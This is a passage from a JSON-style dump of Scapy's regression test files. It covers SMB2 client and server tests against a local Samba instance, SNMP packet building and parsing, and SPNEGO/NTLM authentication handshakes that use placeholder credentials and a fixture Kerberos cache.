sd.DACL.AclSize == len(sd.DACL)"
  },
  {
    "path": "test/scapy/layers/smbclientserver.uts",
    "content": "% SMB2 Client and Server tests\n\n+ SMB2 Client tests\n~ linux smbclient samba\n\n= Define samba server\n\nimport subprocess\n\n# Create a temporary directory to serve\nTEMP_DIR = pathlib.Path(get_temp_dir())\nTEMP_DIR.chmod(0o0755)\nprint(TEMP_DIR)\n\n# Put stuff in it\nSHARE_DIR = TEMP_DIR / \"share\"\nSHARE_DIR.mkdir()\nSHARE_DIR.chmod(0o0777)\n(SHARE_DIR / \"fileA\").touch()\n(SHARE_DIR / \"fileB\").touch()\n(SHARE_DIR / \"fileScapy\").touch()\n(SHARE_DIR / \"ignoredFile\").symlink_to(\"fileA\")\n(SHARE_DIR / \"sub\").mkdir()\n(SHARE_DIR / \"sub\").chmod(0o0777)\n(SHARE_DIR / \"sub\" / \"secret\").touch()\n\n# required for smb.conf to work in standalone without root.. wtf\nLOGS_DIR = TEMP_DIR / \"logs\"\nLOCK_DIR = TEMP_DIR / \"lock\"\nPRIVATE_DIR = TEMP_DIR / \"private\"\nPID_DIR = TEMP_DIR / \"pid\"\nCACHE_DIR = TEMP_DIR / \"cache\"\nSTATE_DIRECTORY = TEMP_DIR / \"state\"\nNCALRPC_DIR = TEMP_DIR / \"ncalrpc\"\n\nfor dir in [LOGS_DIR, LOCK_DIR, PRIVATE_DIR, PID_DIR, CACHE_DIR, STATE_DIRECTORY, NCALRPC_DIR]:\n   dir.mkdir()\n\nSMBD_LOG = LOGS_DIR / \"log.smbd\"\nSMBD_LOG.touch()\n\n# smb.conf\nCONF_FILE = get_temp_file(autoext=\".conf\")\nCONF = \"\"\"\n# Scapy unit tests samba server\n\n[global]\n   workgroup = WORKGROUP\n   server role = standalone server\n   security = user\n   map to guest = bad user\n   log level = 1 smb2:5 auth:3\n\n   bind interfaces only = yes\n   interfaces = 127.0.0.0/8\n\n   lock directory = %s\n   private directory = %s\n   cache directory = %s\n   ncalrpc dir = %s\n   pid directory = %s\n   state directory = %s\n\n[test]\n   comment = Test share\n   path = %s\n   guest ok = yes\n   browseable = yes\n   read only = no\n   public = yes\n\"\"\" % (\n   LOCK_DIR,\n   PRIVATE_DIR,\n   CACHE_DIR,\n   NCALRPC_DIR,\n   PID_DIR,\n   STATE_DIRECTORY,\n   SHARE_DIR,\n)\n\nprint(CONF)\n\nwith open(CONF_FILE, \"w\") as fd:\n   fd.write(CONF)\n\n# define server context manager\n\nclass run_smbserver:\n   def __init__(self):\n      self.proc = None\n   \n   def __enter__(self):\n      # Empty log\n      with SMBD_LOG.open('w') as fd:\n         fd.write(\"\")\n      print(\"@ Starting smbd server\")\n      # Start server\n      self.proc = subprocess.Popen([\"/usr/sbin/smbd\", \"-F\", \"-p\", \"12345\", \"-s\", CONF_FILE, \"-l\", LOGS_DIR])\n      # wait for it to start\n      for i in range(10):\n         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n         sock.settimeout(1)\n         try:\n            sock.connect((\"127.0.0.1\", 12345))\n            break\n         except Exception:\n            time.sleep(0.5)\n         finally:\n            sock.close()\n      else:\n         raise TimeoutError\n      print(\"@ Server started !\")\n   \n   def __exit__(self, exc_type, exc_value, traceback):\n      print(\"@ Stopping smbd server !\")\n      self.proc.terminate()\n      self.proc.wait()\n      if traceback:\n         # failed\n         print(\"\\nTest failed. Smbd logs:\")\n         with SMBD_LOG.open('r') as fd:\n            print(fd.read())\n      print(\"@ smbd server stopped !\")\n      \n\n\n# define client\n\ndef run_smbclient(max_dialect=0x0202):\n   return smbclient(\"localhost\", \"guest\", port=12345, guest=True, cli=False, debug=4, MAX_DIALECT=max_dialect)\n\n\n= smbclient: SMB 2.0.2 - connect then list shares\n\nwith run_smbserver():\n   try:\n      cli = run_smbclient()\n      results = cli.shares()\n      print(results)\n      assert ('test', 'DISKTREE', 'Test share') in results\n      assert any(x[0] == \"IPC$\" for x in results)\n   finally:\n      cli.close()\n\n= smbclient: SMB 2.0.2 - connect to test share and list files\n\nwith run_smbserver():\n   try:\n      cli = run_smbclient()\n      cli.use(\"test\")\n      files = cli.ls()\n      names = [x[0] for x in files]\n      assert all(x in names for x in ['.', '..', 'sub', 'fileB', 'fileScapy', 'fileA'])\n   finally:\n      cli.close()\n\n= smbclient: SMB 2.0.2 - connect to test share and get file\n\nLOCALPATH = pathlib.Path(get_temp_dir())\n\nwith run_smbserver():\n   try:\n      cli = run_smbclient()\n      cli.use(\"test\")\n      cli.lcd(str(LOCALPATH))\n      completions = cli.get_complete(\"file\")\n      assert all(x in completions for x in ['fileA', 'fileB'])\n      cli.get('fileA')\n      assert (LOCALPATH / \"fileA\").exists()\n      assert [x.name for x in cli.lls()] == ['fileA']\n   finally:\n      cli.close()\n\n= smbclient: SMB 2.0.2 - connect to test share, cd, put file and cat it\n\nLOCALPATH = pathlib.Path(get_temp_dir())\nwith (LOCALPATH / \"fileC\").open(\"w\") as fd:\n   fd.write(\"Nice\\nData\")\n\nwith run_smbserver():\n   try:\n      cli = run_smbclient()\n      cli.use(\"test\")\n      cli.lcd(str(LOCALPATH))\n      cli.cd(\"sub\")\n      # upload\n      cli.put('fileC')\n      # check completion\n      completions = cli.get_complete(\"\")\n      assert all(x in completions for x in ['secret', 'fileC'])\n      # cat\n      assert cli.cat('fileC') == b'Nice\\nData'\n      # check on disk\n      with (SHARE_DIR / \"sub\" / \"fileC\").open(\"r\") as fd:\n         assert fd.read() == \"Nice\\nData\"\n   finally:\n      cli.close()\n\n\n= smbclient: SMB 2.0.2 - connect to test share and recursive get\n\nLOCALPATH = pathlib.Path(get_temp_dir())\n\nwith run_smbserver():\n   try:\n      cli = run_smbclient()\n      cli.use(\"test\")\n      cli.lcd(str(LOCALPATH))\n      cli.get(\".\", r=True)\n      # check on disk\n   finally:\n      cli.close()\n\nassert (LOCALPATH / \"fileA\").exists()\nassert (LOCALPATH / \"fileB\").exists()\nassert (LOCALPATH / \"fileScapy\").exists()\nassert (LOCALPATH / \"sub\").exists()\nassert (LOCALPATH / \"sub\" / \"secret\").exists()\n\n= smbclient: SMB 3.1.1 - connect to test share and recursive get\n\nLOCALPATH = pathlib.Path(get_temp_dir())\n\nwith run_smbserver():\n   try:\n      cli = run_smbclient(max_dialect=0x0311)\n      cli.use(\"test\")\n      cli.lcd(str(LOCALPATH))\n      cli.get(\".\", r=True)\n      # check on disk\n   finally:\n      cli.close()\n\nassert (LOCALPATH / \"fileA\").exists()\nassert (LOCALPATH / \"fileB\").exists()\nassert (LOCALPATH / \"fileScapy\").exists()\nassert (LOCALPATH / \"sub\").exists()\nassert (LOCALPATH / \"sub\" / \"secret\").exists()\n\n+ SMB2 Server tests\n~ linux smbserver samba\n\n= Define Scapy smb server\n\nimport subprocess\nimport select\n\nROOTPATH = pathlib.Path(get_temp_dir())\n\n# Populate with stuff\n(ROOTPATH / \"fileA\").touch()\n(ROOTPATH / \"fileB\").touch()\n(ROOTPATH / \"fileScapy\").touch()\n(ROOTPATH / \"sub\").mkdir()\n(ROOTPATH / \"sub\" / \"secret\").touch()\n\n# content\nwith (ROOTPATH / \"fileScapy\").open(\"w\") as fd:\n   fd.write(\"Nice\\nData\")\n\nclass run_smbserver:\n   def __init__(self, guest=False, readonly=True, encryptshare=False, MAX_DIALECT=0x311):\n      self.srv = None\n      self.guest = guest\n      self.readonly = readonly\n      self.encryptshare = encryptshare\n      self.MAX_DIALECT = MAX_DIALECT\n   \n   def __enter__(self):\n      if self.guest:\n         ssp = None\n      else:\n         ssp = SPNEGOSSP([NTLMSSP(IDENTITIES={\n            \"User1\": MD4le(\"Password1\"),\n            \"Administrator\": MD4le(\"Password2\")\n         })])\n      self.srv = smbserver(\n         shares=[SMBShare(\"Scapy\", ROOTPATH, encryptdata=self.encryptshare),\n                 SMBShare(\"test\",  ROOTPATH, encryptdata=self.encryptshare)],\n         iface=conf.loopback_name,\n         debug=4,\n         port=12345,\n         bg=True,\n         readonly=self.readonly,\n         MAX_DIALECT=self.MAX_DIALECT,\n         ssp=ssp,\n      )\n   \n   def __exit__(self, exc_type, exc_value, traceback):\n      self.srv.close()\n\n\n# define client\n\nclass run_smbclient:\n   def __init__(self, user=None, password=None, share=None, list=False, cwd=None, debug=None, maxversion=None, encrypt=False):\n      args = [\n         \"smbclient\",\n      ] + ([\"-L\"] if list else []) + [\n         \"//127.0.0.1%s\" % ((\"/%s\" % share) if share else \"\"),\n         \"-p\", \"12345\",\n      ]\n      if user and password:\n         args.extend([\n            \"-U\",\n            \"DOMAIN/%s\" % user,\n            \"--password\",\n            password,\n         ])\n      else:\n         args.append(\"-N\")\n      if maxversion:\n         args.extend([\"-m\", maxversion])\n      if encrypt:\n         args.extend([\"--client-protection\", \"encrypt\"])\n      self.args = args\n      self.proc = subprocess.Popen(\n         args,\n         text=True,\n         bufsize=0,\n         stdin=subprocess.PIPE,\n         stdout=subprocess.PIPE,\n         stderr=subprocess.STDOUT,\n         cwd=cwd,\n      )\n      self.output = \"\"\n   def cmd(self, command):\n      # send command\n      self.proc.stdin.write(command + \"\\n\")\n      self.proc.stdin.flush()\n   def getoutput(self):\n      self.output += self.proc.communicate(input=\"exit\\n\", timeout=10)[0]\n      return [x.strip() for x in self.output.split(\"\\n\") if x.strip()]\n   def close(self):\n      if self.proc.poll():\n         self.proc.terminate()\n   def printdebug(self):\n      # Print stuff\n      print(\"\\nTest failed.\")\n      print(\"smbclient arguments:\", self.args)\n      print(\"smbclient output:\")\n      print(self.output)\n\ncli = None\n\n= smbserver: SMB 3.1.1 - connect then list shares\n\nwith run_smbserver(guest=True):\n   try:\n      cli = run_smbclient(list=True)\n      output = cli.getoutput()\n      shares = [x[0] for x in (y.split(\" \") for y in output if \"Disk\" in y)]\n      assert shares == ['Scapy', 'test']\n   except Exception:\n      cli.printdebug()\n      raise\n   finally:\n      cli.close()\n\n= smbserver: SMB 3.1.1 - connect then ls\n\nwith run_smbserver():\n   try:\n      cli = run_smbclient(user=\"Administrator\", password=\"Password2\", share=\"test\")\n      cli.cmd(\"ls\")\n      output = cli.getoutput()[1:]\n      files = [x[0] for x in (y.split(\" \") for y in output if \"blocks\" not in y)]\n      print(files)\n      assert files == ['.', 'fileA', 'fileB', 'fileScapy', 'sub']\n   except Exception:\n      cli.printdebug()\n      raise\n   finally:\n      cli.close()\n\n= smbserver: SMB 2.0.2 - connect then ls\n\nwith run_smbserver():\n   try:\n      cli = run_smbclient(user=\"Administrator\", password=\"Password2\", share=\"test\", maxversion=\"SMB2_02\")\n      cli.cmd(\"ls\")\n      output = cli.getoutput()[1:]\n      files = [x[0] for x in (y.split(\" \") for y in output if \"blocks\" not in y)]\n      print(files)\n      assert files == ['.', 'fileA', 'fileB', 'fileScapy', 'sub']\n   except Exception:\n      cli.printdebug()\n      raise\n   finally:\n      cli.close()\n\n= smbserver: SMB 3.1.1 - connect then get file\n\nLOCALPATH = pathlib.Path(get_temp_dir())\n\nwith run_smbserver():\n   try:\n      cli = run_smbclient(user=\"Administrator\", password=\"Password2\", share=\"test\", cwd=LOCALPATH)\n      cli.cmd(\"get fileScapy\")\n      output = cli.getoutput()\n      print(output)\n      assert \"size 9\" in output[0], \"no size\"\n      assert (LOCALPATH / \"fileScapy\").exists(), \"file doesn't exist\"\n      with (LOCALPATH / \"fileScapy\").open(\"r\") as fd:\n         assert fd.read() == \"Nice\\nData\", \"invalid data\"\n   except Exception:\n      cli.printdebug()\n      raise\n   finally:\n      cli.close()\n\n= smbserver: SMB 3.1.1 - connect then put file\n\nLOCALPATH = pathlib.Path(get_temp_dir())\n\nnicedata = (\"A\" * 100 + \"\\n\") * 5\nwith open(LOCALPATH / \"newCustomFile\", \"w\") as fd:\n    fd.write(nicedata)\n\nwith run_smbserver(readonly=False):\n   try:\n      cli = run_smbclient(user=\"Administrator\", password=\"Password2\", share=\"test\", cwd=LOCALPATH)\n      cli.cmd(\"put newCustomFile\")\n      output = cli.getoutput()\n      print(output)\n      assert \"putting file newCustomFile\" in output[0], \"strange output\"\n      assert (ROOTPATH / \"newCustomFile\").exists(), \"file doesn't exist\"\n      with (ROOTPATH / \"newCustomFile\").open(\"r\") as fd:\n         assert fd.read() == nicedata, \"invalid data\"\n   except Exception:\n      cli.printdebug()\n      raise\n   finally:\n      cli.close()\n\n= smbserver: SMB 3.0.2 - require global encryption\n\nLOCALPATH = pathlib.Path(get_temp_dir())\n\nnicedata = (\"A\" * 100 + \"\\n\") * 5\nwith open(LOCALPATH / \"newCustomFile\", \"w\") as fd:\n    fd.write(nicedata)\n\nwith run_smbserver(readonly=False, MAX_DIALECT=0x0302):\n   try:\n      cli = run_smbclient(user=\"Administrator\", password=\"Password2\", share=\"test\", cwd=LOCALPATH, encrypt=True)\n      cli.cmd(\"put newCustomFile\")\n      output = cli.getoutput()\n      print(output)\n      assert \"putting file newCustomFile\" in output[0], \"strange output\"\n      assert (ROOTPATH / \"newCustomFile\").exists(), \"file doesn't exist\"\n      with (ROOTPATH / \"newCustomFile\").open(\"r\") as fd:\n         assert fd.read() == nicedata, \"invalid data\"\n   except Exception:\n      cli.printdebug()\n      raise\n   finally:\n      cli.close()\n\n= smbserver: SMB 3.1.1 - require share encryption\n\nLOCALPATH = pathlib.Path(get_temp_dir())\n\nnicedata = (\"A\" * 100 + \"\\n\") * 5\nwith open(LOCALPATH / \"newCustomFile\", \"w\") as fd:\n    fd.write(nicedata)\n\nwith run_smbserver(readonly=False, encryptshare=True):\n   try:\n      cli = run_smbclient(user=\"Administrator\", password=\"Password2\", share=\"test\", cwd=LOCALPATH)\n      cli.cmd(\"put newCustomFile\")\n      output = cli.getoutput()\n      print(output)\n      assert \"putting file newCustomFile\" in output[0], \"strange output\"\n      assert (ROOTPATH / \"newCustomFile\").exists(), \"file doesn't exist\"\n      with (ROOTPATH / \"newCustomFile\").open(\"r\") as fd:\n         assert fd.read() == nicedata, \"invalid data\"\n   except Exception:\n      cli.printdebug()\n      raise\n   finally:\n      cli.close()\n"
  },
  {
    "path": "test/scapy/layers/snmp.uts",
    "content": "% SNMP regression tests for Scapy\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n+ SNMP layer\n\n= SNMP assembling\n~ SNMP ASN1\nr = raw(SNMP())\nr\nassert r == b'0\\x18\\x02\\x01\\x01\\x04\\x06public\\xa0\\x0b\\x02\\x01\\x00\\x02\\x01\\x00\\x02\\x01\\x000\\x00'\np = SNMP(version=\"v2c\", community=\"ABC\", PDU=SNMPbulk(id=4,varbindlist=[SNMPvarbind(oid=\"1.2.3.4\",value=ASN1_INTEGER(7)),SNMPvarbind(oid=\"4.3.2.1.2.3\",value=ASN1_IA5_STRING(\"testing123\"))]))\np\nr = raw(p)\nr\nassert r == b'05\\x02\\x01\\x01\\x04\\x03ABC\\xa5+\\x02\\x01\\x04\\x02\\x01\\x00\\x02\\x01\\x000 0\\x08\\x06\\x03*\\x03\\x04\\x02\\x01\\x070\\x14\\x06\\x06\\x81#\\x02\\x01\\x02\\x03\\x16\\ntesting123'\n\n= SNMP disassembling\n~ SNMP ASN1\nx=SNMP(b'0y\\x02\\x01\\x00\\x04\\x06public\\xa2l\\x02\\x01)\\x02\\x01\\x00\\x02\\x01\\x000a0!\\x06\\x12+\\x06\\x01\\x04\\x01\\x81}\\x08@\\x04\\x02\\x01\\x07\\n\\x86\\xde\\xb78\\x04\\x0b172.31.19.20#\\x06\\x12+\\x06\\x01\\x04\\x01\\x81}\\x08@\\x04\\x02\\x01\\x07\\n\\x86\\xde\\xb76\\x04\\r255.255.255.00\\x17\\x06\\x12+\\x06\\x01\\x04\\x01\\x81}\\x08@\\x04\\x02\\x01\\x05\\n\\x86\\xde\\xb9`\\x02\\x01\\x01')\nx.show()\nassert x.community==b\"public\" and x.version == 0\nassert x.PDU.id == 41 and len(x.PDU.varbindlist) == 3\nassert x.PDU.varbindlist[0].oid == \"1.3.6.1.4.1.253.8.64.4.2.1.7.10.14130104\"\nassert x.PDU.varbindlist[0].value == b\"172.31.19.2\"\nassert x.PDU.varbindlist[2].oid == \"1.3.6.1.4.1.253.8.64.4.2.1.5.10.14130400\"\nassert x.PDU.varbindlist[2].value == 1\n\n= Basic UDP/SNMP bindings\n~ SNMP ASN1\nz = UDP()/x\nz = UDP(raw(z))\nassert SNMP in z\n\nx = UDP()/SNMP()\nassert x.sport == x.dport == 161\n\n= Basic SNMPvarbind build\n~ SNMP ASN1\nx = SNMPvarbind(oid=ASN1_OID(\"1.3.6.1.2.1.1.4.0\"), value=RandBin())\nx = SNMPvarbind(raw(x))\nassert isinstance(x.value, ASN1_STRING)\n\n= SNMPvarbind noSuchInstance dissection\n~ SNMP ASN1\nx = SNMPvarbind(b'0\\x10\\x06\\x0c+\\x06\\x01\\x02\\x01/\\x01\\x01\\x01\\x01\\n\\x01\\x81\\x00')\nassert not x.noSuchObject\nassert x.noSuchInstance\nassert not x.endOfMibView\n\n= Failing SNMPvarbind dissection\n~ SNMP ASN1\ntry:\n    SNMP(b'0a\\x02\\x01\\x00\\x04\\x06public\\xa3T\\x02\\x02D\\xd0\\x02\\x01\\x00\\x02\\x01\\x000H0F\\x06\\x08+\\x06\\x01\\x02\\x01\\x01\\x05\\x00\\x00\\x03\\x01\\x02D\\x00\\x03\\x01\\x02D\\x00\\x03\\x01\\x02D\\x00\\x03\\x01\\x02D\\x00\\x03\\x01\\x02D\\x00\\x03\\x01\\x02D\\x00\\x03\\x01\\x02D\\x00\\x03\\x01\\x02D\\x00\\x03\\x01\\x02D\\x00\\x03\\x01\\x02D\\x00\\x03\\x01\\x02D\\x00\\x03\\x01\\x02D')\n    assert False\nexcept BER_Decoding_Error:\n    pass\n\n#= Test snmpwalk()\n#\n#~ netaccess\n#def test_snmpwalk(dst):\n#    with ContextManagerCaptureOutput() as cmco:\n#        snmpwalk(dst=dst)\n#        output = cmco.get_output()\n#    expected = \"No answers\\n\"\n#    assert output == expected\n#\n#test_snmpwalk(\"secdev.org\")\n\n"
  },
  {
    "path": "test/scapy/layers/spnego.uts",
    "content": "% SPNEGO unit tests\n\n+ Special SPNEGO tests\n\n= SPNEGOSSP - test raw fallback\n\n% A SPNEGOSSP server talking to a non SPNEGOSSP client should work.\n\nsrvssp = SPNEGOSSP([KerberosSSP(), NTLMSSP(IDENTITIES={\"User1\": MD4le(\"Password123!\")})])\nclissp = NTLMSSP(UPN=\"User1\", PASSWORD=\"Password123!\")\n\nclictx, tok, status = clissp.GSS_Init_sec_context(None)\nassert status == GSS_S_CONTINUE_NEEDED, status\nsrvctx, tok, status = srvssp.GSS_Accept_sec_context(None, tok)\nassert status == GSS_S_CONTINUE_NEEDED, status\nclictx, tok, status = clissp.GSS_Init_sec_context(clictx, tok)\nassert status == GSS_S_COMPLETE, status\nsrvctx, tok, status = srvssp.GSS_Accept_sec_context(srvctx, tok)\nassert status == GSS_S_COMPLETE, status\nassert tok is None, repr(tok)\n\n= SPNEGOSSP - SSP negotiation + mechListMIC\n\n% Two SPNEGOSSPs with different preferred mechanisms should work,\n% and mechListMIC should be used.\n\nsrvssp = SPNEGOSSP([\n    KerberosSSP(),\n    NTLMSSP(IDENTITIES={\"User1\": MD4le(\"Password123!\")})\n])\nclissp = SPNEGOSSP([\n    NTLMSSP(UPN=\"User1\", PASSWORD=\"Password123!\"),\n])\n\nclictx, tok, status = clissp.GSS_Init_sec_context(None)\nassert clictx.require_mic\nassert status == GSS_S_CONTINUE_NEEDED, status\nassert len(tok.innerToken.token.mechTypes) == 1\nassert tok.innerToken.token.mechTypes[0].oid.val == '1.3.6.1.4.1.311.2.2.10'\nassert tok.innerToken.token.mechListMIC is None\nassert tok.innerToken.token._mechListMIC is None\nassert isinstance(tok.innerToken.token.mechToken.value, NTLM_NEGOTIATE)\n\nsrvctx, tok, status = srvssp.GSS_Accept_sec_context(None, tok)\nassert srvctx.require_mic\nassert status == GSS_S_CONTINUE_NEEDED, status\nassert tok.token.mechListMIC is None\nassert tok.token.negState == 1\nassert tok.token.supportedMech.oid.val == '1.3.6.1.4.1.311.2.2.10'\nassert isinstance(tok.token.responseToken.value, NTLM_CHALLENGE)\n\nclictx, tok, status = clissp.GSS_Init_sec_context(clictx, tok)\nassert status == GSS_S_CONTINUE_NEEDED, status\nassert tok.token.negState is None\nassert tok.token.supportedMech is None\nassert isinstance(tok.token.responseToken.value, NTLM_AUTHENTICATE)\nassert isinstance(tok.token.mechListMIC.value, NTLMSSP_MESSAGE_SIGNATURE)\nassert tok.token.mechListMIC.value.SeqNum == 0\nassert tok.token.mechListMIC.value.Version == 1\n\nsrvctx, tok, status = srvssp.GSS_Accept_sec_context(srvctx, tok)\nassert status == GSS_S_COMPLETE, status\nassert tok is not None\nassert isinstance(tok.token, SPNEGO_negTokenResp)\nassert isinstance(tok.token.mechListMIC.value, NTLMSSP_MESSAGE_SIGNATURE)\nassert tok.token.mechListMIC.value.Version == 1\nassert tok.token.mechListMIC.value.SeqNum == 0\n\nclictx, tok, status = clissp.GSS_Init_sec_context(clictx, tok)\nassert status == GSS_S_COMPLETE, status\nassert tok is None\n\n= SPNEGOSSP - SSP negotiation + mechListMIC - NegTokenInit2\n\n% Same but with NegTokenInit2\n\nsrvssp = SPNEGOSSP([\n    KerberosSSP(),\n    NTLMSSP(IDENTITIES={\"User1\": MD4le(\"Password123!\")})\n])\nclissp = SPNEGOSSP([\n    NTLMSSP(UPN=\"User1\", PASSWORD=\"Password123!\"),\n])\n\nsrvctx, tok = srvssp.NegTokenInit2()\nassert tok.MechType.val == '1.3.6.1.5.5.2'\nassert [x.oid.val for x in tok.innerToken.token.mechTypes] == [\n    '1.2.840.48018.1.2.2',\n    '1.2.840.113554.1.2.2',\n    '1.3.6.1.4.1.311.2.2.10',\n]\nassert tok.innerToken.token.reqFlags is None\nassert tok.innerToken.token.mechToken is None\nassert tok.innerToken.token.negHints.hintName.val == \"not_defined_in_RFC4178@please_ignore\"\nassert tok.innerToken.token.mechListMIC is None\nassert tok.innerToken.token._mechListMIC is None\n\nclictx, tok, status = clissp.GSS_Init_sec_context(None, tok)\nassert clictx.require_mic\nassert status == GSS_S_CONTINUE_NEEDED, status\nassert len(tok.innerToken.token.mechTypes) == 1\nassert tok.innerToken.token.mechTypes[0].oid.val == '1.3.6.1.4.1.311.2.2.10'\nassert tok.innerToken.token.mechListMIC is None\nassert tok.innerToken.token._mechListMIC is None\nassert isinstance(tok.innerToken.token.mechToken.value, NTLM_NEGOTIATE)\n\nsrvctx, tok, status = srvssp.GSS_Accept_sec_context(srvctx, tok)\nassert srvctx.require_mic\nassert status == GSS_S_CONTINUE_NEEDED, status\nassert tok.token.mechListMIC is None\nassert tok.token.negState == 1\nassert tok.token.supportedMech.oid.val == '1.3.6.1.4.1.311.2.2.10'\nassert isinstance(tok.token.responseToken.value, NTLM_CHALLENGE)\n\nclictx, tok, status = clissp.GSS_Init_sec_context(clictx, tok)\nassert status == GSS_S_CONTINUE_NEEDED, status\nassert tok.token.negState is None\nassert tok.token.supportedMech is None\nassert isinstance(tok.token.responseToken.value, NTLM_AUTHENTICATE)\nassert isinstance(tok.token.mechListMIC.value, NTLMSSP_MESSAGE_SIGNATURE)\nassert tok.token.mechListMIC.value.SeqNum == 0\nassert tok.token.mechListMIC.value.Version == 1\n\n# INJECT FAULT: drop mechListMIC here, and make sure that the server doesn't let it go through.\ntok.token.mechListMIC = None\n\nsrvctx, tok, status = srvssp.GSS_Accept_sec_context(srvctx, tok)\nassert status == GSS_S_CONTINUE_NEEDED, status  # Should now be CONTINUE instead of COMPLETE !\n\n= SPNEGOSSP.from_cli_arguments - Utils\n\nfrom unittest import mock\n\n# Detect password prompts\ndef password_failure(*args, **kwargs):\n    raise ValueError(\"Password was prompted unexpectedly !\")\n\ndef password_input(*args, **kwargs):\n    return \"Password\"\n\n\ndef test_pwfail(**kwargs):\n    \"\"\"Password means failure\"\"\"\n    with mock.patch('prompt_toolkit.prompt', side_effect=password_failure):\n        return SPNEGOSSP.from_cli_arguments(**kwargs)\n\n\ndef test_pwinput(**kwargs):\n    \"\"\"Password is entered\"\"\"\n    with mock.patch('prompt_toolkit.prompt', side_effect=password_input):\n        return SPNEGOSSP.from_cli_arguments(**kwargs)\n\n= SPNEGOSSP.from_cli_arguments - Username + Password - With input\n\nssp = test_pwinput(\n    UPN=\"Administrator\",\n    target=\"machine.domain.local\",\n)\nassert isinstance(ssp, SPNEGOSSP)\nassert len(ssp.ssps) == 1\nassert ssp.ssps[0].HASHNT == b'\\xa4\\xf4\\x9c@e\\x10\\xbd\\xca\\xb6\\x82N\\xe7\\xc3\\x0f\\xd8R'\n\n= SPNEGOSSP.from_cli_arguments - Username + Password - With prompt\n\ntry:\n    test_pwfail(\n        UPN=\"Administrator\",\n        target=\"machine.domain.local\",\n    )\n    assert False, \"Should have prompted for password !\"\nexcept ValueError:\n    pass\n\n= SPNEGOSSP.from_cli_arguments - Username + Password - No input\n\nssp = test_pwfail(\n    UPN=\"Administrator\",\n    target=\"machine.domain.local\",\n    password=\"Password\",\n)\nassert isinstance(ssp, SPNEGOSSP)\nassert len(ssp.ssps) == 1\nassert ssp.ssps[0].HASHNT == b'\\xa4\\xf4\\x9c@e\\x10\\xbd\\xca\\xb6\\x82N\\xe7\\xc3\\x0f\\xd8R'\n\n= SPNEGOSSP.from_cli_arguments - UPN + Password - With input\n\nssp = test_pwinput(\n    UPN=\"Administrator@domain.local\",\n    target=\"machine.domain.local\",\n)\nassert isinstance(ssp, SPNEGOSSP)\nassert len(ssp.ssps) == 2\nassert isinstance(ssp.ssps[0], KerberosSSP)\nassert ssp.ssps[0].UPN == \"Administrator@domain.local\"\nassert isinstance(ssp.ssps[1], NTLMSSP)\nassert ssp.ssps[1].HASHNT == b'\\xa4\\xf4\\x9c@e\\x10\\xbd\\xca\\xb6\\x82N\\xe7\\xc3\\x0f\\xd8R'\n\n= SPNEGOSSP.from_cli_arguments - UPN + CCache - Prepare\n\nimport os, base64\nfrom scapy.utils import get_temp_file\n\n# Create CCACHE\nDATA = \"\"\"\nBQQAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAADERPTUFJTi5MT0NBTAAAAA1BZG1pbmlzdHJhdG9y\nAAAAAgAAAAIAAAAMRE9NQUlOLkxPQ0FMAAAABmtyYnRndAAAAAxET01BSU4uTE9DQUwAEgAAACAb\nBwocJhrPafZNOEpgJ0Ex7+bIGgYmV1xIOINqhSFV12ktpDBpLaQwaS4wy2kuMMsAQOEAAAAAAAAA\nAAAAAAAE2GGCBNQwggTQoAMCAQWhDhsMRE9NQUlOLkxPQ0FMoiEwH6ADAgECoRgwFhsGa3JidGd0\nGwxET01BSU4uTE9DQUyjggSUMIIEkKADAgESoQMCAQKiggSCBIIEfhztXzlAS96FcY2W1vT3dfYk\nskGMQuNRwWGyCKReTQQoSNuN+HXmtGgTlEAtf/L0QS5TCAzJKKbnvK6uNw19q/fYd/PJJMbOibmO\nGa1AWrt66Unrcq+AS/iMNgWYtW1qk+Kz7GmkwP/+seilbgZVZPK1JVg0m5oAQn8k8l53Sq6dPvDX\nSB7eGtE0UzAM5a5CrpdKALtgbpkjSX2Y8QGmNEC3fVag2k7NP8ZHLd6qLoAmuUDB660vFFIXloRw\nRZUe+wpeKX/d3pwcUyJiH0KJlEtPLldgo3EmBo9bUSzxul1MZ6s4oJNWX6MCOVwuTpDnJakBlmH5\nXAFGtxi0Ip7hGpgh4E8AOuhzEJhKaZK4VofcZQAU3KiGq1uOv/4Ema+TxXL83lbdpHX2T3D6naZZ\nLOom6cOyMaYzWLs7UGmXtKKubIC5ePlCeV/lrFrEX0zOc86rxdEPw7DXvn4RfukTSjW74+9uiQYv\nfoqZTB6RIa+OmBg5SOWnceTnwC9P78jNLS5guOjOgBZ0xAMYeXydNloVW3h+XyngNdxiT3qCO+II\nrl4uB9ugCQnod1PsvU6cJ6t1OfvhsB+6hXkoloA+RpssC/aMyzWE5985xSBoc91j4P4U6ZJWaCdr\n3CaquJVVvIEgAQchlf6aWLI71CYCM+T9dXuzXTbtap7tsYq8/9hWBNs7rwIb7Mok0Zrn74WyU1tB\n0fHXLIJqk4wEK4+Kp1w+vSvjULyXhhX1T9IGoTHXKUaXFc5MmLxG9P0jwA4VhrKI6thxK5MRN7gK\nxw1OkGDzISTLtr6J4Po6b5ghI4hbxk7AA6y0PwN7DHhIl9OiZPqMcvv5byX6sUc0OSGaFGa0A1uz\n/sdsYopfnD0zKBaWXBo9B8MHQ1RQnYjydwCJ78J0few83ZBE8vcb52ngkeIppaEnRuiMCZd0+bsv\nX19xsbIXnq08jxrzdn2aqLuWQxHMr/sddfbe5blmGS1JFuwms/m45Ha1T3wK65Efcm6Xtn7qWZOh\nGDmptGmM93V/tXpbTEfD18EchMDGxx+LMDOa1nCzOeTXeyEfg4sJp6oOc2+8K7GbwPWdjIomp95R\nm/OcgN3DThRC7uELcpLcep5hAdqrPvKYovZeiYsPLl0mdyJ2dWjcOaPg+S3m/T5BOsNSVF4yEWEc\nkE7Ahy5QDvag0UFs9vGjkdeKTXk00fQTBCMNLQSO42afxJOoOaYN8gJu81cut1h4ZJm9RngDI+8C\nQ+1Yxf9eP/PChFVaL6WL2nsZOqdDjJ4/19qqBK9eDgMzaOqggR91i9m7Tb4AYvb8LnyKh+UE0VBC\nlfUM3RD2MA65+OZaEvVDfsWMNdJS1QY9LaW39Dh5n6gV76YmAv0zc1qHux0Z2mOASr3d2aezAFpo\nrhcKMZz5YuxbWTB559eoGZNGjRi1gmjVRVTe+mt92Ww8u1eDXV64aH4zc5n7uZpqsWnyRz8K2jjE\nslXWBjQr9vLT3ChFnSuH9qKhE+W7vTcdy3k1VuMHL6831nqB17sXR/cZYt0Ajc+L71oAAAAAAAAA\nAQAAAAEAAAAM